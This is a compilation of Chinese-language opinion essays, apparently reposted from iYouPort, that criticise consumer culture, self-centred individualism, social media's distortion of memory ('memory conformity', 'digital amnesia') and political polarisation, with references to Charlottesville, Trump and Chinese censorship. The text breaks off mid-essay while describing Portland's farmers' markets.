讲真，美国可能不该为Charlottesville 近日的新纳粹骚乱感觉惊讶，美国社会评论家 Christopher Lasch 早在1978年的一场主题为“自恋文化”的辩论中就这样说过：个人主义的逻辑已经把我们的日常生活变成了一场残酷的社会斗争，我们正在进行着Thomas Hobbes 所说的“与所有人的战争”，这种战争摧毁了我们的快乐和存在意义。

然而，把当年这段悲观者先知的言论放在当下看你能发现，他悲的还远远不够呢。如今，自我为中心和高度自恋变成了主流，及时行乐才是众望所归。火爆的短线交易、各种浮躁的创业泡沫、跳槽还要跨行业、闪婚闪离一夜情，一切只为当下，瞬间即永恒。

随着人们对即时回报的不断追求，新的社会经济体系应声而动，并不断升级升温，共同行动和个人承诺消失不见了，经济体被锁入了一个‘过热 – 崩溃’的死循环。发达国家的政府越来越短视，倾向于避免复杂的长期问题，如教育改革、医疗改革、气候变化，却为什么直至特朗普宣布退出巴黎气候协议，你才听到全球的一片哗然？

买买买！赶紧醒醒，说的就是你

共产党面对中国经济低迷不振的现状第一时间想到的方略就是：拉动内需扩大消费。它为什么如此坚定？它心里有谱。所谓的改革开放让人们不仅有了钱，价值观也发生了巨变，中国人从美国人哪学到的唯一东西就是物质主义，并将其弊端登峰造极地呈现了出来。

新经济体系最擅长的就是把你的‘需要’和你的‘想要’，混为一谈。获得个人满足变得如此容易，自我与市场的界线几乎消失殆尽，市场这台侵略性机器正在横扫它与消费者之间的一切障碍 —- 市场与自我、市场与心理正在前所未有的融合。

某推广专家曾说过：几乎所有商业行为背后的动因都是消费者的个人理想，即消费者想成为什么样的人。这是个强调自我表达的时代，你选择的产品、名牌、机构、甚至伴侣，正是这些东西在构建你的外在人格和层次……社会学家观察到，中产阶级甚至认为爱情本身也是一种“互相探索无穷无尽、无比复杂、令人兴奋的自我”，的机会。这和

电子游戏世界中的装备决定胜负的逻辑有什么区别？

如今的消费很大程度上并不是需求驱动的，而是被人们内心世界的无形标准驱动的：包括你的理想和希望。想想你为什么而购物？为了追求新奇感和社会地位、为了重振受损的自尊、为了缓解平庸的婚姻生活带来的失望、为了逃离办公室政治的复杂和奴役、为了反抗城镇一体化令人窒息的统一性、为了摆脱疾病和衰老带来的无力感……买买买！

商品的功能几乎类似于阿片类药物，人们正在通过花钱来调节所有类型的情感和社会问题。

生产者经济的田园牧歌早已粉碎，取而代之的是竞争、竞争还有竞争，你从电子游戏的主题演变中就足够看出这点了。铺天盖地的只有市场宣传和洗脑广告，然而你在厌倦的同时可曾想过：一旦消费者成为经济活动和公司利润的中心，自我的死亡就已注定。

市场注定会冷酷无情的改变自身复杂的结构和过程，来吞噬消费者的自我，因为只有消费者无穷无尽的欲望才能消化掉庞大的产出，这些产出永远不会停止增长。或许换个角度看，个人自我会很欢迎这种侵蚀，因为进入这个循环意味着自我表达的力量持续不断的转移和扩大。

一度令人兴奋的大数据技术根本无视复杂的时代性问题（相关隐私问题早已说太多了，此处不赘），而是利用这项技术帮助市场进一步吞噬消费者的自我 —- 用大数据开发出逼真的游戏，更多量身定做的个人技术，谷歌甚至把整个数据经济放在了就离你大脑几厘米远的眼镜上。

很明显，个人即时欲望被不断加强的满足，其结果就是越来越难以达成一些长期的、对社会群体有利的条件。合作价值、耐心沉稳、共同目标变得一文不值，安全感急速下跌，社会互信不再。当我抱怨中国人不关注某些重大议题的时候，有朋友回答我：“大家都在过自己的小日子呢，没那个心思”……我们还能重现二十多年前的街头盛况吗？

「图」

「图」

冲动的背后是焦虑

物质需求被满足了，但更高层次的精神需求却无法继续被满足，比如更高的自我价值、以及后物质主义时代的抱负。美国的气候政策专家 Michael Shellenberger 曾经发明过一个词来形容当下该国的有钱阶层：“不安全的富裕状态”。

更可怕的是，20年前的美国人也曾被焦虑和愤怒困扰，但那个时候人们倾向于采取政治上的行动来解决问题，而目前的文化，却把民众推向了截然不同的方向：2013年的数据显示，投票率在下降、公共生活的参与度在下降、志愿者减少、连亲密朋友也减少了—- 自我提高的欲望如此强烈，以至于大部分人根本无暇顾及那些“跟自己没关系的事儿”。—— 自我追求变成了自我沉迷和自我孤立。

Bang~ 特朗普时代来了，这一重大刺激真的惊醒了部分美国人，某种层面上应该说是好事。然而，copy美式物质主义的中国呢？中产阶级壮大的结果尚不可预见。

过度关注短期和暂时价值的冲动主义可能会变成这个时代致命的弱点，它所能解释的东西一篇文章内根本写不完。

美国媒体直到去年大选后才开始针对左右两派之间不可调和的根本性分歧，展开讨论，它们说得没错，这是“前所未有的撕裂”。这种撕裂本身就是一种政治发明，人们在逼着你站队，原本可以讨论和解构问题的社交媒体变成了法庭 —- 你被告知只需要说出支持还是反对！中间立场正在被消灭。

所有人都在追求那瞬间的快感，拉黑功能可以让你看不到任何不同意见。

对短暂的快乐和满足的强调，其最终产物不过是焦虑。以短期的自我利益为目标的文化意味着灾难迟早要发生，至少在潜意识层面，很多人都明白这一点。贫富差距在扩大，政治枷锁在勒紧，极端主义盛行，愤怒情绪日益堆积。

这是一场新的战役，也许能就此推动另一个新变革的实现，也许，就此沉入永无止境的欲望黑洞，被金钱埋葬。

原文

不知不觉中，你已经变成了别人——社交媒体如何改写了你的记忆 - iYouPort

你如何正在被互联网所改变-媒介效应

同时，社交媒体是在按照大众的喜好有选择地强化我们的某些记忆，使某些记忆显得比其他记忆“更有意义”，这些都会扭曲人们的“个人现实”

「图」

「图」

我们被这样或那样的传媒所影响着，这些刺激已经成为每个人生活的一部分。我们登陆同样的社交媒体，每天阅读着固定的屈指可数的几个信息渠道，我几乎知道你所知道的一切，你的思考即便没有说出口，也很可能与我的大同小异。我们就这样被同化了。

我和你一样，所看到的世界不过是那些媒体和信息源对我们展示出来的世界，他们的背后是各式各样、或大或小、你我永远都不可能全面了解的利益关系。慢慢的，我们愈加不在乎真相，只会埋头接触同意自己看法的文章、网络媒体和电视节目，强化自己的偏见，而不是积极地听取各种观点，思考和加以判断。假新闻创作变成了这个时代最赚钱的生意之一，空手套来你我这等白狼。

奥巴马对此表达了焦虑，他称社交媒体有可能导致社会的巴尔干化。

近日，奥巴马(Barack Obama)接受英国哈里王子在 BBC 主持的采访节目，对不负责任的使用社交媒体现象表达了担忧。奥巴马认为，这种行为扭曲了人们对复杂问题的理解，传播了错误的信息。

思考和判断在记忆的基础上，社交媒体有可能并没能直接左右你的思考，但它的确作用在你的记忆上了，算法在决定你能看到什么，一群人能看到什么，你们这群人被算法驱动着，变成了同样的人，拥有同样的记忆，甚至认知。

当一则信息进入记忆，没人会追问它是真是假。

社交媒体增强了人们寻求独立证据来证实自己记忆的能力，但显然，也很容易修改、歪曲你的记忆。每个人都会回想刚刚发生的事，会把最应该做的事记录下来，会过滤掉不喜欢的信息，高浸入性的数字媒体让你充分享受着宣泄的愉悦、与赞同者连接的兴奋，但是否应该停下来想想，为什么有些人会把沉浸你我的信息化时代，称之为“宣传盛世”？他们有可能就是最容易控制我们的人。

「图」

「图」

记忆是会传染的

网络世界给人们一种与外界连接的感觉，你有机会接触到无所不包的信息资源；网络也提供了充分的互动，你可以随时随地和所有人分享自己的记忆、印象和经历。通过分享，个人的记忆变成了社会景观的一部分，互联网人制造了一股社会意识流，同时，你我自己的意识也被别的社会意识所塑造着。

上个月，一位休假的记者开车途径滁新高速阜阳段，远远就看到前面一群车辆拥堵在那里，有消防车的警灯在闪烁。当时他并不知道发生了什么，环顾周围的车主，所有人都抱着手机，人们在拍摄，忙着把照片和视频上传社交媒体。

但没人说得清前方究竟出了什么事，只知道路已经被封住了。这位记者只能绕道而行。几个小时后，他通过社交媒体了解到，刚才途径的高速路段发生了严重的车祸，18人死亡，21人受伤。

有趣的是，这时，他能对话的所有人，不管是线上还是线下，对这场车祸的描述基本完全一致，当然都来自于媒体平台。他们并没有在现场目睹了从出事到救援结束的全部过程。

曾经所有人都认为，社交网络令人兴奋的提供了人人皆媒体的机遇，一旦发生重要事件，你会立刻掏出手机，拍摄记录，并用自己的视角总结事件经过并发布到网上。与此同时，你周边的人也在做着同样的事，但使用的是他们的视角，结果是，最终留在你和其他人记忆中的信息，已经分不清哪些是亲眼目睹，哪些是传闻。

在滁新高速上，现场围观者极少有人能看到被封住的路段内所发生的

具体细节，但所有人对事件的描述完全一样。回想一下，你是否也遇到过或被卷入过类似事件？你的记忆真的都是你的记忆吗？

用一个概念来定义这种现象，它应该叫“记忆从众（**memory conformity**）”,或者叫“记忆的社会传染性（social contagion of memory）”。

西伊利诺伊大学的 Brian Clark 教授在五年前发表过一篇文章，题为《from yearbooks to Facebook》，他认为这种效应的产生可能是因为我们的记忆受到网络和社交媒体的影响而发生了转变——公众记忆和个人记忆的分界线被模糊掉了，乃至消弭。

更早的在15年前，阿伯丁大学的研究人士做过一个实验，把参与者分为两组，分别观看一段90秒的视频，视频中一个女孩走到空无一人的图书馆去归还一本书。参与者不知道，这是两个不同的版本，用同一间屋子里的两部不同位置的摄像头拍摄完成的，两组参与者看到的是不同的摄像头的拍摄。

从A角度可以看到女孩手中书的书名，也能看到女孩离开房间时把一张便签扔进了废纸篓。从B角度能看到，女孩看了看自己的手表，也能看到她趁机从他人的钱包里取出来一张纸币塞进了自己的口袋。

测试问卷就是“发生了什么”。被试被分成两部分，一部分两两一组，另一部分被要求独立回答。结果很有趣，两两一组的“共同目击者”中超过70%的人表示自己通过同伴获取到更多细节，他们通过观看B角度的同伴了解到女孩偷钱的细节，而这一细节立刻变成了他们自己的记忆，并被转述出来。

并没有人质疑：“我没有看到那个细节，它真的发生了吗？”或许人们觉得，一个女孩还书的视频没什么观看价值，而偷窃行为才是该信息被公开的价值所在，于是立刻相信了自己没有看到的偷窃行为？

该试验没有验证这点。但它在社交媒体上是非常普遍的，它是互联网人的共同认识，所谓传播价值。完全可以尝试一下，只发布A角度的视频在社交媒体上，并配上文字说明：“该女孩偷窃”，可以预料，极少有人会加以质疑。

相关研究几年来出现过很多，它们探索了一个“事件后信息”**Post-event information** 的问题——经历或目睹一个事件之后接触到的能影响我们记忆的信息。在社交媒体时代，你能获取的超过90%都是这类信息：和别人当面或在网上谈论一个事件、读到该事件的报道或相

关评论文章、查看自己拍到的或网友拍到的照片和小视频，等等。任何外来信息都有可能篡改你对该事件的记忆。

这要看哪家媒体的宣传经费砸得高了。

「图」

「图」

虚假记忆的另一个来源是“记忆借取”**memory borrowing**，即一个人把另一个的自传式记忆挪用为自己的记忆了。

Derek Parfit的影响力著作《Reasons and Persons》里面记录了一个故事：艾莉希亚清楚地记得曾参观雅典的帕提侬神庙，也记得当时贴近观看这座华丽地耸立在雅典卫城之上的废墟，并不如在远处观看那样震撼。不过 艾莉希亚从未去过雅典，因此她记得的是参观帕提侬神庙 ，而不是记得 “自己 ”曾经参观帕提侬神庙。

并不是艾莉希亚被欺骗了，她记得的是整个参观过程，只是她拥有的是植入的记忆。她的朋友梅蒂曾经去希腊度假，回来后去了柯达的记忆冲印店将她的假期回忆刻录到了光盘中。之后艾丽希亚拿着这张光盘到同一家店，将光盘中的记忆上传到她的大脑里，因而拥有梅蒂所有的假期记忆；对她来说这些记忆就跟其他记忆一样，都是以第一人称观点的回忆。然而令人有些不安的是，两人已经交换记忆许多次，因此她们似乎拥有完全相同的过去。

Parfit 在1984年出版该著作的时候，是否预测到了几十年后社交媒体共享信息的今天，“记忆借取”现象会发生得如此普遍？

艾莉希的故事表达了一个不是记忆却极其接近记忆的回忆形式。哲学家们称这类回忆为 “准记忆 ”。这种记忆似乎只是科幻小说中的有趣桥段？但事实上，准记忆的可能性在哲学上具有重大意义。在人格同一性的哲学理论中，有一种被称为心理简化论，这种理论认为，个人人格的持续存在，是以精神生命的持续存在为条件，而不一定以特定的大脑或身体的存在为条件（虽然事实上我们目前仍需大脑或身体）。只要我的 “意识流 ”持续，我便持续存在。然而准记忆却挑战这种说法。

准记忆显示，第一人称回忆就算没有人格同一性也能存在。艾莉希亚拥有的准记忆中的体验不是她的，这就表示第一人称的回忆可以是构成自我的基石。自我之中有一部分是第一人称回忆构成的：是记忆，

而非准记忆。不过，当然如果自我是由我们的记忆构成，当我们的记忆与其他人的记忆混杂在一起时会发生什么呢 ？记忆衰退或欺骗我们时又会怎样 ？随着记忆的可靠性越来越低 ，自我的边界会不会开始瓦解？对老年痴呆症的恐惧说明人们已经意识到这是会发生的，同时这或许也加强了心理简化论的主张。

不管怎样，至少无法否认的是，记忆真的可以传染。如果我不停的讲述一段自己的记忆，其细节只要能吸引你，就很有可能被你捕捉过去，然后变成了你的记忆。人们在讲述某些事情的时候，会把源自他处的信息也融合进去，或许是下意识的觉得故事需要充分、精彩，如果是一群人讲述同一个故事，该故事的细节就会变得越来越充实，那些绝大多数人都未曾亲见过的信息，被不断添加进去。

美国的研究人士给它起了个名字叫“记忆的社会传染性” **the social contagion of memory**。他们的研究表明，一个人的记忆完全有可能被他人的记忆偏误所影响，这可以说是一种虚假记忆的扩散效应。但为什么会这样呢？

研究人员认为是由三种因素决定的：1、基本记忆扭曲。如果一个人告诉你事件的一个版本，你的大脑就会产生新的记忆，继而干扰原有的记忆；2、来源混淆。人们很容易忘记信息来源，把听来的误会为亲历。这也是问询心理学惯用的植入记忆手段，俗称诱供；3、还有一种，属于纯粹社会影响因素，就是从众。

「图」

「图」

群体性记忆

从众来自于群体内的“规范性影响”——指的是某群体对群成员所施加的影响——这种情况一半来自于群成员不想特立独行，并以相信群体的表现为忠诚，下意识地与群体保持一致。“信息性影响”也是在群体中发生的，如果你发现其他群成员比你了解得多，很可能会不由自主地相信他们是对的。这叫做群体性（groupiness）。

这也是为什么一个人会轻而易举地听信别人对一件事的表述：要么是不想得罪人（规范性影响），要么是真的相信精彩的奇闻就是事实本身（信息性影响）。两方面在社交网络上都很普遍，前者基于圈子，后者基于猎奇心理。

如果一个群成员影响力较大的群体故意散播错误的“事件后消息”，导致错误的细节进入更多人的记忆，是无法消除的，很容易产生社会影响。

这并不是社交媒体在给你洗脑，而是你所处的群体，你的视野，交往对象。

不可否认，社交媒体的出现已经使潜在的社会影响和错误信息来源的数量急剧增加——朋友的朋友在Facebook上的动态更新、一个陌生人的tweet、某些社会化新闻网站上的讨论主题等。就好像你我不再完全拥有自己生活的主导权，而是生活在激烈的“交互记忆”时代——共同形成、共同更新、共同储存的群体性记忆。

「图」

「图」

数码失忆症

哥伦比亚大学心理学家Betsy Sparrow和她的同事在7年前有一篇强有力的文章：《Google Effects on Memory: Cognitive Consequences of Having Information at Our Fingertips》（谷歌对记忆的影响），文中写道，网络已经变成了交互记忆和外部记忆的一种主要形式，信息在网上被共同储存在我们的大脑之外……

Sparrow团队做了四组实验，以研究“随手一敲键盘就能得到的信息”给人们带来的影响。结果表明，当人们知道自己随时可以谷歌时，记忆就会减退；而谷歌到的信息，基本不需要查证、甚至不加思考地被赋予了绝对正确的桂冠。

他们给这种现象起了个名字，叫“数码失忆症”。

当信息储存功能被外包出去，无异于使人们更容易受到前文所讲述的“错误的事件后信息”的影响。当然这并非完全是坏事，至少腾出了脑存储空间，以便可以有更充裕的时间来培养批判性思考的能力。

但在普遍没有批判性思考培训的中国，数码失忆症的危害就很明显了。别忘了，中国政府还有删帖删文的积极性呢。

网络记忆

你把自己的生活和思想分享在社交媒体上的那一刻，就已经被不计其数的人共同目睹了，这将对你的记忆产生无法挽回的改变——变得更好或更差。

如果改变是好的，基本层面上会通过分享行为增强这份记忆，通过“检索实践效应 retrieval practice”确认很多记忆的真实性。但另一面却令人担忧：它会变本加厉地分散你的注意力；任何人都有可能迅速给你植入虚假记忆；谷歌依赖症后记忆变得高度被动。

更，是社交媒体算法在评估你的哪些记忆可以算作有意义的，可以被“历史上今天”摘录出来以供回忆，它在将你的记忆按照“是否值得分享”这一标准，进行优胜劣汰。同时，社交媒体是在按照大众的喜好有选择地强化我们的某些记忆，使某些记忆显得比其他记忆“更有意义”，这些都会扭曲人们的“个人现实”。

你如何判断自己的回忆是确确实实的现实，而不是精心制造过的“网络现实”呢？已经很难了。记忆的社会过程已经被无限放大了，以前所未有的方式深入到生活之中。当谷歌出前五页都是“月经谣”的时候，某些改变已经不可逆转。〇

「图」

「图」

原文

从媒体卖乖到政治品牌化（二）消费者经济时代脆弱的民主 - iYouPort

你如何正在被互联网所改变-媒介效应

有效的民主文化必须包含某种混乱和尴尬的不期而遇，社区也一样，人们必须能接触到一些他们本心并不想接触的东西，必须能听到一些他们并不愿意听到的话题和观点。

「图」

「图」

近日被一则中文网帖逗笑了，因为帖子中描述知乎网站的文章为“优质内容”。有朋友告诉我，这里的“优质”指的不是深度、专业性和实用性，而是引流的能力，也就是点击量追求，说得更明白些就是：讨好受众的能力。

这现象有很强的时代感。我去年离职了，因为不愿仅仅因为一条传闻“吸睛度高、刺激离奇”就不加调查地、直接拿来做新闻文章，我认为那是违背新闻原则的。辞职并没有带来更多开心，因为显然是我输了，点击量主义赢了，甚至假新闻都赢了。我准备短期内不再涉足媒体。

人们印象中的假新闻这个概念还是自去年美国大选时才开始发烫的，其实它不过是由来已久的消费者经济的升级版。被媒体迎合的信息消费者仍沉浸在欣欣然中，体察不到自己正在被控制，这一状况便有机会埋下了深远的伏笔。

说实话，当人们对一则新闻报道争论真假时，已经low到大跌眼镜的地步了，毕竟诚实是媒体的底线、是新闻的根基，现在连根基都动摇了，也难怪没人注意到上方建筑的脆弱。

「图」

「图」

文化傀儡

新闻早已偏离了对集体、社会而言最重要的事件，变成了一种几乎是完全迎合个人喜好的定制信息流。这种定制过程可能是通过某种个人算法完成的，美国电脑科学家Nicholas Negroponte 曾经把这种新闻形容成为“每日自我播报”。

“一次性”和无意义的东西正大行其道，它是一种新形式的“野蛮”，在追求破坏性的、普及的潮流变幻中造成了审美知觉的衰退。批评者认为诱惑资本主义对文化和美造成了灾难性的影响。这样的社会产生了公共空间的“视觉污染”，播放着被愚蠢、低俗和暴力所充斥的节目，换言之就是“人类大脑的空闲时间” 。市场正在败坏和谋杀真正的文化，而低俗、审美贫瘠、普遍的低水准、幼稚就是这个市场的成果。

当世界一天比一天更腐朽，消费者便成了无知的巴汝奇之羊。

连艺术都在悄然变化。再也没有什么宏伟和崇高：与那些人们敬仰了数个世纪的伟大作品不同，消费者经济创造的是只为短暂的快乐、和“有限期”产品。艺术越来越少的探讨深刻、富有争议的问题，越来越少的表现那些重要的、永恒的主题，而是更多着眼于个人认同的核心。

我曾经得罪了一位很认真的设计师，我指着作品对他说：这个不好看。我说，你需要了解的是消费者的心态、一系列的欲求所引发的时代心态，你要率先找到这个线索，然后沿着它去体现。艺术创作不需要告诉人们应该怎么想怎么办，只需要表达出人们想要表达的东西——是消费者们想表达的东西，不是创造者个人想表达的东西…… 其实我说的只是这个时代的潜规则，并不是创作的规则。它能保证你卖的好，而无法保证你的作品是优秀的。

一位导演朋友跟我说，你写脚本的时候要尽可能的完全放开自己，不要考虑任何目标性的意图，忘记市场、忘记制片人，你就是你，你的作品就是你，没有第二个Don Evans。而我在听到这些话的同时，心里却在盘算着：忽视市场效益投资人能满意吗？

社会学家Daniel Bell曾经指出，在这个以自我为中心的文化环境中，当一个人看到一幅画、一首诗、或者一本书的时候，他的第一个问题并不是“这东西美不美、深刻不深刻”，而是“这个东西能为我做什么”。在Bell的时代，数字剪辑尚未出现，而如今，数字剪辑已经深入了文化的每一个部分——电视剧、歌曲、电影、图书——都可以转化为任意拼贴的美学碎片，人们可以随心所欲的把它们重组和再撕裂，

通过各种各样的混搭达成自我表达的目的。

冲动的时代，每一种文化都是自我的工具和傀儡。随着各种形式的文化消费和自我创造，个人主义偏执一直在不断的膨胀。

「图」

「图」

个性牢笼和社区的瓦解

我曾经多次被问及："你为什么总是和别人不一样？"当时的确感觉那是一句赞赏，意味着我有创造力和自己的想法，不会人云亦云。后来才知道，这句提问的真实意思是：你为什么如此特殊、不合群？注意，这里的"合群"所指代的并不是真正意义上的社群，甚至不是一个大型群聊的整体，而是以提问者为中心的、具有共同观点和认识的一个小范围。

人们把自己封锁在一个狭小的个人化环境中，这个环境里只有我们熟悉的东西，只有与我们密切相关的事物。当你习惯了这样的环境，任何你不熟悉的、第一眼看上去与你无关的东西，都会被排斥，甚至引发愤怒和恐慌。

陌生和诧异让你焦虑，他人的不同意见似乎正在伤害你的利益。

即便是对最文明理性的人来说，要保持社会的多样性都需要付出个人的努力和妥协，同时也必然会引起一定程度的风险，而这些所谓的低效率元素正是如今消费者文化和自我中心主义竭力排斥的东西。

然而必需知道，那些引起你不快的低效率元素是民主和社区的根基，这两种制度从定义上来说注定不是效率最高的。有效的民主文化必须包含某种混乱和尴尬的不期而遇，社区也一样，人们必须能接触到一些他们本心并不想接触的东西，必须能听到一些他们并不愿意听到的话题和观点。

然而这个时代，你需要花点力气、在意识的推动下去主动寻找，去努力，稍不留神便会滑入个人中心主义的黑洞。

「图」

「图」

危险的隔阂

人们的确找到了一些求同存异的方法，比如和他人礼貌的谈话时，可能会故意避免那些会引起争议的话题（政治、宗教、种族等），通过这种绕避保留了各类人群的共同价值基础，但如今，几乎任何稍微委屈自己的行为都会被视作对自我表达权利的严重侵犯，于是人们觉得，与其委屈自己适应他人，还不如只和自己相似的人交往，这样一来就能避免不同意见和观点了。

但这是一种危险的习惯。一旦你不能包容任何形式的差异，一旦在“自己人”和“外人”之间制造实际的和虚拟的距离，人与人之间的隔阂就变得越来越严重了。

社会心理学的基础理论：受群体心理的影响，如果一个社群中的成员拥有非常相似的价值观，那么他们的观点就会变得越来越极端，容忍不同意见的能力也会越来越低。这种现象的成因是：群体的肯定会让人们对自己的观点更加自信，也就不会再反思和提升了。

很多研究显示，大部分政治和社会问题，一个普通的个体通常不会拥有非常强烈的观点。因为没有时间和精力去比较和分析各种不同的论点，因此也就无法得出非常明确和强烈的结论。很多时候我们对于自己的观点并不具有强烈的自信，于是为了规避风险，人们常常把周围人的普遍观点当作是自己的观点。

「图」

「图」

如果是一个经过分类的，人与人之间高度相似的社群，通过不断赞同和肯定他人的意见，人们会变得越来越自以为是。不需要再认真分析和思考了，群体认同已经能让你感觉良好。微信朋友圈的功能设计就是利用的这点，你可以把看不顺眼的所有人都屏蔽掉，他们不会知道你做了什么，面子上没有任何损失。你打造了一个个人中心主义的小世界，目之所及都是赞美和认同。

一位研究人类知识理论的哲学教授曾经指出，一旦人们失去了忍受不同意见的意愿，也就失去了获得真正的自我知识的能力。在你拒绝不同意见的同时，也拒绝了“他人”这个抽象概念；你会拒绝承认在自我之外还存在更广阔的世界。

其实“他人”对我们必不可少，他人的存在帮你反思自己的观点和意

见，帮你理解自己的是谁。消费者文化中，外界越来越迎合我们的偏好和需求，自我与外界的界限已经变得模糊，这种状况下你更需要他人的概念来帮助确定自我的界限。

当你营造出一个完全彻底地反应自我身份的社群环境时，已经随手抹杀了那些定义个人存在的最重要的东西。

「图」

「图」

政治品牌的简单粗暴

Charlottesville的新纳粹暴力事件发生后，有美国网民拒绝将其视为“美国社会变异”的征兆，他们称“那几百人代表不了这个三亿两千万人口的国家”。依旧希望这不是一种自我安慰。

上世纪80年代的时候，民主党和共和党的政治市场营销专家已经开始使用消费者心理作为争取某些特殊人口群体的工具，比如福音派人士、足球母亲、医疗保险获益者等等，这些营销策略主要抓住那些能够激起这些特定人群热情的议题来大做文章。

各党派早已发现，在宣传中使用强烈的措辞、阵营分明的宣传立场，以及推送攻击对手的负面广告，才是激起选民热烈情绪、和最高效获得竞选资金的手段。这些真的不是特朗普的发明，他只是给“小传统”升了个级。

在一种运行良好的民主体制下，政治领袖应该努力弥补选民的分歧和裂痕，以创造出一群能够被领导的大多数。政治领袖不仅需要对自身的政治目的做出适当的妥协，还应该启发和说服选民们不能仅仅着眼于自身利益。然而消费者市场的政治战略，令越来越多的现代政治家不仅对选民的两极化政见表示满意，甚至还要鼓励选民进一步的极端化、以及从公共生活中撤退，他们将此视为一种方便而有利可图的政治手段。

自我中心主义的教训已经显而易见。多样化的人群聚居在一起能让大家变得更加平和理性，如果只有持相同意见的人聚集在一起，则会导致越来越严重的两极化和极端主义。

在政治领域，两极分化的现象已经出现了巨大的负面效应。媒体宣传和政客们的自我宣传都趋向了同样的目的：吸睛，他们争先恐后的希望给你更多情感上的满足，特朗普的**tweet**就是这个时代的标志性产

物——直接拥抱简单粗暴的热情比起清醒的分析各种政治议题要容易得多。

政治变成了一种品牌。就像流行产业领域一样，品牌效应帮助人们消除那些选择中庞大的焦虑感。很早以前，保守派、自由派这些字眼意味着复杂的政治概念，而如今这些政治概念都被提炼成为一些极度简单却非常强力的品牌了——我方是正义的、善良的，对方是错误的、邪恶的。

但政治制度成为消费者经济的一部分真的合适吗？公民的政治决策如果仅仅雷同于一种消费选择，就很难避免短视盲目和个人主义的偏执。表面的党派之争背后，蕴藏着一系列远非意识形态分歧所能解释的、更为深层的问题。

注意：切勿把和谐和撕裂做二歧化处理！一些中国分析人士经常会掉入这类坑里，他们很容易被党国利用——如果想把你推向某种偏执，只要搞臭它的反义词就够了。〇

原文

从掰玉米的熊到阿喀琉斯之踵（一）数字时代的空虚寂寞冷 - iYouPort

你如何正在被互联网所改变-媒介效应

你无法摆脱一个冰冷的事实：生活中某些最重要的东西、面临的最大挑战，既不是个人化的也不受个人控制。相反，它们是固有的、集体的、并且常常是令人不快的。

「图」

「图」

“ 不要见面，我宁可你是一个聊天机器人”，一位来访者在线输入了这样一行字，“我厌倦了这个虚构的世界，但我又离不开它……在这里，我能找到自己，但我又知道，那不是真实的自己，你懂吗，我处于一种两难的境地……空落落的，却又似乎无比满足，而满足的时间越来越短，那个空洞就越来越大… …”。

这位来访者说他退出了所有群聊、停用了社交媒体账号，用他的话说就是“一个人和一群人没什么区别，找不到融洽的安全感、已经懒得继续假装开心”。但他也说即便如此，自己仍旧无法静下心来思考，被各种纷乱的信息干扰着，没有朋友，因为看谁都不顺眼，拖延症严重，“连做梦都在走神儿”。

这不是个案，也不是个人问题，它是一个时代的症状。只是在某些局部被典型化了。

「图」

「图」

掰玉米的熊

我以前常说电子游戏是时代的标志，是研读这个时代的重要参照窗口，在某种程度上什至可以说是电子游戏的商业思维激发了社交媒体

时代。软件设计师处心积虑的唯一目的就是令玩家能整日坐在电脑屏幕前，让人们完全脱离现实世界。而它就是消费者经济的中心思想。

很多人喜欢twitter和Facebook的个性化设计，不论你什么时候登陆，它总是能给你率先展示出你最喜欢的内容，这是通过统计你的惯常关注对象、收集并分析你的回复和点赞动作，整体推测出来的，经常准得惊人，这是数字化环境盲目取悦消费者的典型案例。

对消费者个人偏好的迎合使整个互联网环境的组织形式就像一个巨大的网络游戏，在互联网的海洋里，每个网民都能获得无穷无尽的正反馈机会。不论你的鼠标点在哪里，随时能换取新事物的奖励——继而产生一种神经递质释放，也就是满足感。你会感觉自己被优待了，所有数字服务都在拼命讨好你的眼球，结果是，你变成了实验室里的小白鼠，拼命的拉动着杠杆，只为了每次一点点的食物。

这还不是最糟糕的，更值得警惕的是，对新事物的渴求已经严重影响了人们理解和处理已经获得的信息的能力。美国前记者Nicholas G. Carr曾写道，由于获得信息的行为本身已经变得和信息内容一样重要，人们的头脑就会产生混乱，在已经获取的信息和想要获取的欲望之间产生冲突。

对大脑而言，对新事物的期待、和深层理解一个事物，是两种非常不同的心理过程，正是这两种心理过程之间的冲突令人们难以集中精力，以至于无法专心处理和吸收已有的信息。在我近两年的心理分析经验中，最为常见的状况就是走神和拖延症问题给来访者带来的困扰，它与焦虑息息相关。很难将其脱离时代因素单独分析。

任何常规性的行为最终都会变成大脑前额叶神经突触的连接结构，它一旦固定下来就很难再更改，你可能会有这样的经验，躺下来或者换一个环境后，就没有吸烟的欲望，而需要坐下写点东西的时候没有香烟脑子就转不动，其实就是这个原因：一个习惯形成了。同样道理，一旦大量搜集、低效处理信息的模式成为习惯，就会对人们的大脑造成永久性的结构改变。

即便你离开数字王国，走进现实世界，也已经无法再像过去那样深入、高效地处理信息了。其结果就是，不论在线上还是线下，人们越来越多的是执迷于对新信息的挖掘，而不再有动力和能力对手头已有的信息进行深入的理解和分析。

有朋友询问哪里可以找到具有较高研究价值的资讯。我推荐了自由港，准确说是自由港的中文部分，这部分内容有个规律就是：转发量

越高，研究价值越低，相反乏人关注的内容研究价值较高。表面看起来这个结论很得罪人，其实恰恰反应的就是上述的规律。人们正在拼命的捡拾更新更刺激的信息，没有时间去思考那些刺激效果究竟意味着什么，对肤浅的刺激追求水涨船高，如果没能在四分之一秒内get住关注者的好奇心，你就彻底流失了。

而这个时间段仅仅意味着两个词：冲动和浅薄。

新的认知科学研究显示，那些耐心的人往往也有着更为复杂的思想。而冲动的人们可能会更简单地看待这个世界。这就是为什么互联网时代的人表现为突出的浅薄，不加思考和冲动。

面对复杂深入的想法人们越来越力不从心了。同时处理的任务越多，你就会越轻率，思考和解决问题的能力就越差。这就是为什么人们更多追求的是一致化和共鸣，而不是真正的交流探讨。

这也导致人们不再愿意牺牲一时之下的快感，而投资更为长远的收益。如果你仔细研读一则信息，有可能从中分析出不止一个重要议题，它能帮你完成一篇论文、一个学术报告、获得一个成功投资的机会、或者创业新领域的idea……却没人愿意这样做，他们耗费大把的时间泡在网上，享受着虚幻的共鸣，眼球不断被牵引着，最终就像那只掰玉米的熊，一无所获。

「图」

「图」

从“我的社区”到“只有我而没有社区”

Portland是美国西北部一个越来越活跃的城市，它拥有“慢食品之都”的美称，因为每年的3～10月的每个周末，这里都会举行农贸市场活动，这是访客们暂时远离短视冲动、拥抱生活真实味道的机会。

